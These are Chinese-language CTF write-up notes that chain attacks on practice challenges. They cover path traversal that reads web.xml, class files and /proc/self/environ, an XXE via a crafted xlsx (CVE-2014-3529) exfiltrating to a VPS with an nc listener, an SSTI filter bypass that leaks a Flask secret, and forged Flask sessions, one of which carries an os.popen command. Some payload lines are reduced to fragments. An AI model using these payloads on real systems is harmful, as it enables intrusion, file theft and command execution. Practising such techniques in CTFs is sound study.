捉包访问
/DownloadServlet?filename=../
泄露路径
下载 web.xml 文件
/DownloadServlet?filename=../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
根据类全名下载 UploadServlet.class
/DownloadServlet?filename=../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
反编译审计到如下
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException var20) { System.err.println("poi-ooxml-3.10 has something wrong"); var20.printStackTrace(); }}
CVE-2014-3529 这个洞 https://blog.csdn.net/weixin_35696112/article/details/114658893
新建一个 excel-1.xlsx 文件,改为zip后缀用rar打开,在 [Content_Types].xml 文件的第二行放如下代码
%remote;%int;%send;]>
把zip后缀改回xlsx后缀
在vps上新建 file.dtd 文件,写入如下代码
">
在 file.dtd 文件所在目录用 python3 -m http.server 8080 开启简易web服务,并用nc监听80端口 nc -lvnp 80
[watevrCTF-2019]Supercalc SSTIFlask Session 伪造测试正常SSTI拦截
code={{7*7}}
1/0 报错
code=1/0
绕过拦截
code=1/0#{{7*7}}
读取Flask Session Key
code=1/0#{{config}}
获得Key
cded826a1e89925035cc05f0907855f7
Flask Session 伪造
encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__("os").popen("cat flag.txt").read()'}]}"
读取flag
[PASECA2019]honey_shop Flask Session 伪造文件下载文件下载
/download?image=../../../../../../2.png
读取 Flask Key
/download?image=../../../../../../proc/self/environ
值为
OTEBwVi7xLhiMGN0CuG7OQJGXQ58waGjxAKvAiyn
购买flag需要 1338 块,伪造 Session 为 1338 块
encode -s "OTEBwVi7xLhiMGN0CuG7OQJGXQ58waGjxAKvAiyn" -t "{'balance': 1338, 'purchases': []}"
获得 Session
eyJiYWxhbmNlIjoxMzM4LCJwdXJjaGFzZXMiOltdfQ.YgdpRw.8yGtouclpnSb-dalnW2HjNVMdmk
获得 flag